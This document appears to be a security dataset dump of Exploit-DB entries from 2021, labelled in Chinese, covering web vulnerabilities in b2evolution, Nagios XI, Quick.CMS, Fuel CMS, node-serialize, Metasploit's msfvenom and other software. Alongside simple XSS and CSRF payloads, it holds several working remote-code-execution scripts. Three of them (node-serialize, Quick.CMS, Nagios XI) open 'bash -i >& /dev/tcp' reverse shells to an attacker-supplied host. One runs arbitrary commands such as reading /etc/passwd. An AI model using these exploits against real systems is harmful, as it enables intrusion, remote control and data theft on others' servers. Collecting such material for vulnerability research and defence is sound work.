QLWD/code_shield huggingface dataset:
标题: b2evolution 6.11.6 - 'plugin name' Stored XSS EDB-ID: 49551 CVE: 2020-22841 类型: WEBAPPS 平台: PHP 发布日期: 2021-02-10 漏洞利用脚本: # Exploit Title: b2evolution 6.11.6 - 'plugin name' Stored XSS
# Date: 09/02/2021
# Exploit Author: Soham Bakore, Nakul Ratti
# Vendor Homepage: https://b2evolution.net/
# Software Link: https://b2evolution.net/downloads/6-11-6-stable?download=12405
# Version: 6.11.6
# Tested on: latest version of Chrome, Firefox on Windows and Linux
# CVE : CVE-2020-22841


--------------------------Proof of Concept-----------------------

1. Login with an account having high privileges  
2. Navigate to System -> Plugins and select any plugin
3. Change the plugin name and enter the following payload  "><svg/onload=alert(123)> in the name parameter
4. Payload gets stored in the database
5. The payload gets executed after the victim checks the plugin page.
6. This vulnerability needs high privilege and can affect other users with similar privileges URL: https://www.exploit-db.com/exploits/49551
标题: Adobe Connect 10 - Username Disclosure EDB-ID: 49550 CVE: 2023-22232 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-02-09 漏洞利用脚本: # Title: Adobe Connect 10 - Username Disclosure
# Author: h4shur
# date:2021-02-07
# Vendor Homepage: https://www.adobe.com
# Software Link: https://www.adobe.com/products/adobeconnect.html
# Version:  10 and earlier
# Tested on: Windows 10 & Google Chrome
# Category : Web Application Bugs

### Description :

By adding this (/system/help/support) to the end of the desired website address, you can view the username without any filter or obstacle. Sometimes even without a username and password. And by adding (/system/login) to the end of the desired website address, you can access the admin panel without any filters.

### POC :
site.com/system/help/support

### Admin Panel :
site.com/system/login URL: https://www.exploit-db.com/exploits/49550
标题: Node.JS - 'node-serialize' Remote Code Execution (2) EDB-ID: 49552 CVE: 2017-5941 类型: WEBAPPS 平台: NODEJS 发布日期: 2021-02-10 漏洞利用脚本: # Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (2)
# Exploit Author: UndeadLarva
# Software Link: https://www.npmjs.com/package/node-serialize
# Version: 0.0.4
# CVE: CVE-2017-5941

import requests
import re
import base64
import sys

url = 'http://192.168.100.133:8000/' # change this

payload = ("require('http').ServerResponse.prototype.end = (function (end) {"
"return function () {"
"['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));"
"console.log('still inside');"
"const { exec } = require('child_process');"
"exec('bash -i >& /dev/tcp/192.168.200.5/445 0>&1');" # change this
"}"
"})(require('http').ServerResponse.prototype.end)")

# rce = "_$$ND_FUNC$$_process.exit(0)"
# code ="_$$ND_FUNC$$_console.log('behind you')"
code = "_$$ND_FUNC$$_" + payload

string = '{"username":"TheUndead","country":"worldwide","city":"Tyr", "exec": "'+code+'"}'

cookie = {'profile':base64.b64encode(string)}

try:
    response = requests.get(url, cookies=cookie).text
    print response
except requests.exceptions.RequestException as e:
    print('Oops!')
    sys.exit(1) URL: https://www.exploit-db.com/exploits/49552
标题: Alt-N MDaemon webmail 20.0.0 - 'Contact name' Stored Cross Site Scripting (XSS) EDB-ID: 49536 CVE: 2020-18724 类型: WEBAPPS 平台: WINDOWS 发布日期: 2021-02-08 漏洞利用脚本: # Exploit Title: Alt-N MDaemon webmail 20.0.0 - 'Contact name' Stored Cross Site Scripting (XSS)
# Date: 2020-08-25
# Exploit Author: Kailash Bohara
# Vendor Homepage: https://www.altn.com/
# Version: Mdaemon webmail < 20.0.0
# CVE : 2020-18724

1. Go to contact section and distribution list menu. Create a new distribution list.
2. Contact name field is vulnerabile to XSS. Use the payload <img src=x onerror=alert(1)>
3. We can see execution code and after saving it, each time we visits the distribution list section the XSS pop-up is seen. URL: https://www.exploit-db.com/exploits/49536
标题: Jenzabar 9.2.2 - 'query' Reflected XSS. EDB-ID: 49529 CVE: 2021–26723 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-02-08 漏洞利用脚本: # Exploit Title: Jenzabar 9.2.2 - 'query' Reflected XSS.
# Date: 2021–02–06
# Exploit Author: y0ung_dst
# Vendor Homepage: https://jenzabar.com
# Version: Jenzabar — v9.2.0-v9.2.1-v9.2.2 (and maybe other versions)
# Tested on: Windows 10
# CVE : CVE-2021–26723


-Description:
  A Reflected Cross-site scripting (XSS) vulnerability in Jenzabar v9.2.0 through 9.2.2. Attacker could inject web script or HTML via the query parameter (aka the Search Field). To exploit the vulnerability, someone must click the link.

-Payload used:
  "><script>alert(1)</script>

-Example :
  https://localhost/ics?tool=search&query="><script>alert(1)</script>

-Steps to reproduce:
  1. Open a website that use Jenzabar v9.2.0 through 9.2.2.
  2. In the Search Field, enter anything.
  3. Edit the query by replacing the text with the payload.
  4. Press Enter to trigger the alert. URL: https://www.exploit-db.com/exploits/49529
标题: Alt-N MDaemon webmail 20.0.0 - 'file name' Stored Cross Site Scripting (XSS) EDB-ID: 49537 CVE: 2020-18723 类型: WEBAPPS 平台: WINDOWS 发布日期: 2021-02-08 漏洞利用脚本: # Exploit Title: Alt-N MDaemon webmail 20.0.0 - 'file name' Stored Cross Site Scripting (XSS)
# Date: 2020-08-25
# Exploit Author: Kailash Bohara
# Vendor Homepage: https://www.altn.com/
# Version: Mdaemon webmail < 20.0.0
# CVE : 2020-18723

1. Rename a file and set it’s name as <img src=x onerror=alert(1)>.jpg
2. Go to New mail, select recipient and the select attachment. Code gets executed as right after upload so it becomes self XSS.
3. Send the mail to recipient and open email from recipent side. Opening just a mail doesn’t executes the code but when the victim clicks on forward button, XSS pop-up is shown. URL: https://www.exploit-db.com/exploits/49537
标题: Pixelimity 1.0 - 'password' Cross-Site Request Forgery EDB-ID: 49519 CVE: 2020-23522 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-02-03 漏洞利用脚本: # Exploit Title: Pixelimity 1.0 - 'password' Cross-Site Request Forgery
# Date: 2020-06-03
# Exploit Author: Noth
# Vendor Homepage: https://github.com/pixelimity/pixelimity
# Software Link: https://github.com/pixelimity/pixelimity
# Version: v1.0
# CVE : 2020-23522

Pixelimity 1.0 has cross-site request forgery via the admin/setting.php data [Password] parameter.

PoC :

<html>
<body>
<script>history.pushState(",",'/')</script>
<form action=“http://127.0.0.1/pixelimity-dev/admin/setting.php
” method=“POST”>
<input type=“hidden” name=“submit&#95;setting” value=“Save&#32;Setting”/>
<input type=“hidden” name=“data&#91;admin&#95;portfolio&#95;show&#93;”
value=“5”/>
<input type=“hidden” name=“data&#91;admin&#95;pages&#95;show&#93;”
value=“5”/>
<input type=“hidden” name=“admin&#91;data&#95;password&#93;”
value=“456789”/>
<input type=“hidden” name=“data&#91;site#95;name&#93;"
value=“Pixelimity”/>
<input type=“hidden” name=“data&#91;site&#95;name&#93;show&#93;”
value=“My&#32;Online&#32;Portfolio”/>
<input type=“hidden” name=“data&#91;home&#95;image&#95;size&#93” value=“5”/>
<input type=“hidden” name=“ data&#91;single&#95;image&#95;image&#95;size#93
” value=“ 240&44;0&#44;0&44;auto ”/>
<input type=“hidden” name=“data&#91;single&#95;image&#95;image&#95;size#93”
value=“720&44;0&#44;0&44;auto”/>
<input type=“submit” value=“Submit request”/>
</form>
</body>
</html> URL: https://www.exploit-db.com/exploits/49519
标题: MyBB Hide Thread Content Plugin 1.0 - Information Disclosure EDB-ID: 49496 CVE: 2021-3337 类型: WEBAPPS 平台: PHP 发布日期: 2021-01-29 漏洞利用脚本: # Exploit Title: MyBB Hide Thread Content Plugin 1.0 - Information Disclosure
# Date: 1/27/2021
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1430
# Version: 1.0
# Tested on: Windows 10
# CVE: CVE-2021-3337

1. Description:
This plugin hides thread content until user replies to the thread. The information disclosure is hidden content can be viewed without replying.

2. Proof of Concept:

- Visit a post where content is hidden
- Click the reply or quote button below
Thread content will be displayed in the [quote] bracket without needing to reply URL: https://www.exploit-db.com/exploits/49496
标题: Quick.CMS 6.7 - Remote Code Execution (Authenticated) EDB-ID: 49494 CVE: 2020-35754 类型: WEBAPPS 平台: PHP 发布日期: 2021-01-29 漏洞利用脚本: # Exploit Title: Quick.CMS 6.7 - Remote Code Execution (Authenticated)
# Date: 2020-12-28
# Exploit Author: mari0x00
# Vendor Homepage: https://opensolution.org/
# Software Link: https://opensolution.org/download/?sFile=Quick.Cms_v6.7-pl.zip
# Description: https://secator.pl/index.php/2021/01/28/cve-2020-35754-authenticated-rce-in-quick-cms-and-quick-cart/
# Version: <= 6.7
# CVE : CVE-2020-35754

#!/usr/bin/python3

import requests
import sys
from termcolor import colored
from time import sleep

print(colored('''###########################################################''',"red"))
print(colored('''######    Quick.CMS authenticated RCE by mari0x00   #######''',"red"))
print(colored('''###########################################################''',"red"))
print("")

if len(sys.argv) != 6:
    print((colored("[~] Usage : python3 quickpwn.py <url> <username> <password> <IP> <PORT>","red")))
    print((colored("[~] Example: python3 quickpwn.py http://192.168.101.105/quick.cms/ john@example.com pass123 192.168.101.101 4444","red")))
    exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
IP = sys.argv[4]
PORT = sys.argv[5]


#Start session
s = requests.Session()
headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'}


#Authenticate
print((colored("[+] Attempting user login","blue")))

login_data = {
    "sEmail": username,
    "sPass": password,
    "bAcceptLicense": "1",
    "iAcceptLicense": "true"
   }

login = s.post(url+"admin.php?p=login", login_data, headers=headers)
sleep(0.5)


#Exploit
print((colored("[+] Adding shell command","blue")))
payload = "Back end\\\"; system('/bin/bash -c \\'bash -i >& /dev/tcp/" + IP + "/" + PORT + " 0>&1\\''); //"

shell = {
    "sOption": "save",
    "Back_end_only": payload
}

exploit = s.post(url+"admin.php?p=languages&sLangEdit=en", shell, headers=headers)
sleep(1)

#Triggering reverse shell (three times just in case)
print("")
print((colored("[+] Triggering the shell. Go nuts!","green")))
r = s.get(url+"admin.php?p=languages", headers=headers)
sleep(1)
r = s.get(url+"admin.php?p=languages", headers=headers)
sleep(1)
r = s.get(url+"admin.php?p=languages", headers=headers) URL: https://www.exploit-db.com/exploits/49494
标题: Fuel CMS 1.4.1 - Remote Code Execution (2) EDB-ID: 49487 CVE: 2018-16763 类型: WEBAPPS 平台: PHP 发布日期: 2021-01-28 漏洞利用脚本: # Title: Fuel CMS 1.4.1 - Remote Code Execution (2)
# Exploit Author: Alexandre ZANNI
# Date: 2020-11-14
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <= 1.4.1
# Tested on: Ubuntu 16.04
# CVE : CVE-2018-16763
# References: https://www.exploit-db.com/exploits/47138

#!/usr/bin/env ruby

require 'httpclient'
require 'docopt'

# dirty workaround to ignore Max-Age
# https://github.com/nahi/httpclient/issues/242#issuecomment-69013932
$VERBOSE = nil

doc = <<~DOCOPT
  Fuel CMS 1.4 - Remote Code Execution

  Usage:
    #{__FILE__} <url> <cmd>
    #{__FILE__} -h | --help

  Options:
    <url>         Root URL (base path) including HTTP scheme, port and root folder
    <cmd>         The system command to execute
    -h, --help    Show this screen

  Examples:
    #{__FILE__} http://example.org id
    #{__FILE__} https://example.org:8443/fuelcms 'cat /etc/passwd'
DOCOPT

def exploit(client, root_url, cmd)
  url = root_url + "/fuel/pages/select/?filter='%2Bpi(print(%24a%3D'system'))%2B%24a('#{cmd}')%2B'"

  res = client.get(url)

  /system(.+?)<div/mx.match(res.body).captures[0].chomp
end

begin
  args = Docopt.docopt(doc)
  clnt = HTTPClient.new
  puts exploit(clnt, args['<url>'], args['<cmd>'])
rescue Docopt::Exit => e
  puts e.message
end URL: https://www.exploit-db.com/exploits/49487
标题: Metasploit Framework 6.0.11 - msfvenom APK template command injection EDB-ID: 49491 CVE: 2020-7384 类型: LOCAL 平台: MULTIPLE 发布日期: 2021-01-28 漏洞利用脚本: # Exploit Title: Metasploit Framework 6.0.11 - msfvenom APK template command injection
# Exploit Author: Justin Steven
# Vendor Homepage: https://www.metasploit.com/
# Software Link: https://www.metasploit.com/
# Version: Metasploit Framework 6.0.11 and Metasploit Pro 4.18.0
# CVE : CVE-2020-7384

#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode

# Change me
payload = 'echo "Code execution as $(id)" > /tmp/win'

# b64encode to avoid badchars (keytool is picky)
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | sh #"

print(f"[+] Manufacturing evil apkfile")
print(f"Payload: {payload}")
print(f"-dname: {dname}")
print()

tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"

# Touch empty_file
open(empty_file, "w").close()

# Create apk_file
subprocess.check_call(["zip", "-j", apk_file, empty_file])

# Generate signing key with malicious -dname
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
                       "-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])

# Sign APK using our malicious dname
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
                       "-storepass", storepass, "-keypass", keypass, apk_file, key_alias])

print()
print(f"[+] Done! apkfile is at {apk_file}")
print(f"Do: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null") URL: https://www.exploit-db.com/exploits/49491
标题: Tenda AC5 AC1200 Wireless - 'WiFi Name & Password' Stored Cross Site Scripting EDB-ID: 49478 CVE: 2021-3186 类型: WEBAPPS 平台: HARDWARE 发布日期: 2021-01-26 漏洞利用脚本: # Exploit Title: Tenda AC5 AC1200 Wireless - 'WiFi Name & Password' Stored Cross Site Scripting
# Exploit Author: Chiragh Arora
# Hardware Model: Tenda AC5 AC1200
# Firmware version: V15.03.06.47_multi
# Tested on: Kali Linux
# CVE ID: CVE-2021-3186
# Date: 25.01.2021

##########################################################################

Steps to Reproduce -

   - Navigate to the Tenda AC1200 gateway with 192.168.0.1 
   - Follow up to the WiFi Settings and click the “WiFi Name & Password” option there.
   - Manipulate the WiFi Name with "<script>alert(1)</script>"
   - Click the “Save” button & as the page refresh, you’ll got an alert stating “1” within it.
   
Note: It doesn’t matter which Network Name parameter (2.4 GHz or 5 GHz) you’re manipulating, you’ll encounter the popup over in both of them. URL: https://www.exploit-db.com/exploits/49478
标题: CASAP Automated Enrollment System 1.0 - 'First Name' Stored XSS EDB-ID: 49469 CVE: 2021-3294 类型: WEBAPPS 平台: PHP 发布日期: 2021-01-25 漏洞利用脚本: # Exploit Title: CASAP Automated Enrollment System 1.0 - 'First Name' Stored XSS
# Exploit Author: Anita Gaud
# Vendor Homepage: https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12210&title=CASAP+Automated+Enrollment+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1
# Tested on Windows
# CVE: CVE-2021-3294

*XSS IMPACT:*
1: Steal the cookie
2: User redirection to a malicious website

Vulnerable Parameters: First Name

*Steps to reproduce:*
1: Log in with a valid username and password. Navigate to the Users tab (http://localhost/Final/Final/users.php) on the left-hand side.
2: Add the new user and then add the payload <script>alert(document.cookie)</script>in First Name parameter and click on save button. Post Saved successfully.
3: Now, XSS will get stored and trigger every time and the attacker can steal authenticated users' cookies. URL: https://www.exploit-db.com/exploits/49469
标题: Anchor CMS 0.12.7 - CSRF (Delete user) EDB-ID: 49451 CVE: 2020-23342 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-01-21 漏洞利用脚本: # Exploit Title: Anchor CMS 0.12.7 - CSRF (Delete user)
# Exploit Author: Ninad Mishra
# Vendor Homepage: https://anchorcms.com/
# Software Link: https://anchorcms.com/download
# Version: 0.12.7
# CVE : CVE-2020-23342


###PoC
the cms uses get method to perform sensitive actions hence users can be deleted via exploit.html

================================ 
<img src="http://target/anchor/index.php/admin/users/delete/21">
================================ 
Where (21) is the user id .

When admin clicks on exploit.html link

User with id 21 will be deleted URL: https://www.exploit-db.com/exploits/49451
标题: osTicket 1.14.2 - SSRF EDB-ID: 49441 CVE: 2020-24881 类型: WEBAPPS 平台: PHP 发布日期: 2021-01-19 漏洞利用脚本: # Exploit Title: osTicket 1.14.2 - SSRF
# Date: 18-01-2021
# Exploit Author: Talat Mehmood
# Vendor Homepage: https://osticket.com/
# Software Link: https://osticket.com/download/
# Version: <1.14.3 
# Tested on: Linux
# CVE : CVE-2020-24881

osTicket before 1.14.3 suffers from Server Side Request Forgery [SSRF]. HTML page is rendered on backend server on calling "Print" ticket functionality.

Below are the steps to reproduce this vulnerability:

1. Create a new ticket
2. Select "HTML Format" format.
3. Add an image tag with your payload in src attribute i.e. "<img src=https://mymaliciouswebsite.com">
4. After submitting this comment, print this ticket.
5. You'll receive a hit on your malicious website from the internal server on which osTicket is deployed.

For more details, read my following blog:

https://blackbatsec.medium.com/cve-2020-24881-server-side-request-forgery-in-osticket-eea175e147f0
https://nvd.nist.gov/vuln/detail/CVE-2020-24881 URL: https://www.exploit-db.com/exploits/49441
标题: PHP-Fusion CMS 9.03.90 - Cross-Site Request Forgery (Delete admin shoutbox message) EDB-ID: 49426 CVE: 2020-35687 类型: WEBAPPS 平台: PHP 发布日期: 2021-01-15 漏洞利用脚本: # Exploit Title: PHP-Fusion CMS 9.03.90 - Cross-Site Request Forgery (Delete admin shoutbox message)
# Date: 2020-12-21
# Exploit Author: Mohamed Oosman B S
# Vendor Homepage: https://www.php-fusion.co.uk/
# Software Link: https://www.php-fusion.co.uk/phpfusion_9_downloads.php
# Version: 9.03.90 and below
# Tested on: Windows 10
# CVE : CVE-2020-35687

1. Description:
PHP-Fusion version 9.03.90 is vulnerable to CSRF attack which leads to deletion of shoutbox messages by the attacker on behalf of the logged in victim.

2. Proof of Concept
As the requests for deleting the admin shoutbox are sent using the GET method, the CSRF attack to delete an attacker-controlled shoutbox message can be performed by having the admin visit https://TARGET.com/infusions/shoutbox_panel/shoutbox_archive.php?s_action=delete&shout_id=1 directly,
after getting to know the shout_id of the message, as it is sequential.

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://TARGET/infusions/shoutbox_panel/shoutbox_archive.php">
<input type="hidden" name="s&#95;action" value="delete" />
<input type="hidden" name="shout&#95;id" value="3" />
<input type="submit" value="Submit request" />
</form>
</body>
</html> URL: https://www.exploit-db.com/exploits/49426
标题: Nagios XI 5.7.X - Remote Code Execution RCE (Authenticated) EDB-ID: 49422 CVE: 2020-35578 类型: WEBAPPS 平台: PHP 发布日期: 2021-01-14 漏洞利用脚本: # Exploit Title: Nagios XI 5.7.X - Remote Code Execution RCE (Authenticated)
# Date: 19/12/2020
# Exploit Author: Haboob Team (https://haboob.sa)
# Vendor Homepage: https://www.nagios.com/products/nagios-xi/
# Version: Nagios XI 5.7.x
# Tested on: (Ubuntu 18.04 / PHP 7.2.24) & Vendor's custom VM
# CVE: CVE-2020-35578
 
#!/usr/bin/python3
 
# pip3 install bs4 lxml
import requests
import sys
import warnings
from bs4 import BeautifulSoup
import base64
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 
 
if len(sys.argv) != 6:
    print("[~] Usage : python3 nagiosxi-rce.py http(s)://url username password reverse_ip reverse_port")
    print("[~] Example : python3 nagiosxi-rce.py https://192.168.224.139 nagiosadmin P@ssw0rd 192.168.224.138 443")
    exit()
 
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
 
request = requests.session()


def login():
    # Request nsp value (Nagios Session Protection, used to prevent CSRF attacks)
    nsp_str_req = request.get(url+"/nagiosxi/login.php", verify=False)
    content = nsp_str_req.text
    soup = BeautifulSoup(content, "lxml")
    nsp_str = soup.find_all('input')[0].get('value')
    print("[+] Extract login nsp token : %s" % nsp_str)

    # Login
    login_info = {
    "nsp": nsp_str,
    "pageopt": "login",
    "username": username,
    "password": password
    }
    login_request = request.post(url + "/nagiosxi/login.php", login_info, verify=False)
    login_text = login_request.text

    # Check Login Status
    if "Core Config Manager" in login_text:
        return True
    else:
        print("[-] Login ... Failed!")
        return False

 

def execute_payload():
    # Request nsp value (Nagios Session Protection, used to prevent CSRF attacks)
    print("[+] Request upload form ...")
    nsp_str_req = request.get(url+"/nagiosxi/admin/monitoringplugins.php", verify=False)
    content = nsp_str_req.text
    soup = BeautifulSoup(content, "lxml")
    nsp_str = soup.find_all('input')[1].get('value')
    print("[+] Extract upload nsp token : %s" % nsp_str)  

    # Payload Base64 Encoding
    payload_decoded = "bash -i >& /dev/tcp/%s/%s 0>&1" % (ip, port)
    payload_bytes = payload_decoded.encode('ascii')
    base64_bytes = base64.b64encode(payload_bytes)
    payload_encoded = base64_bytes.decode('ascii')
    payload = ";echo " + payload_encoded + " | base64 -d | bash;#"
    print("[+] Base64 encoded payload : %s" % payload)

    # Payload Execution
    multipart_form_data = {
    'upload': (None, '', None),
    'nsp': (None, nsp_str, None),
    'uploadedfile': (payload, 'whatever', 'text/plain'),
    'convert_to_unix': (None, '1', None),
    }
    print("[+] Sending payload ...")
    print("[+] Check your nc ...")
    rce = request.post(url +"/nagiosxi/admin/monitoringplugins.php", files=multipart_form_data, verify=False)


 
if login():
    print("[+] Login ... Success!")
    execute_payload() URL: https://www.exploit-db.com/exploits/49422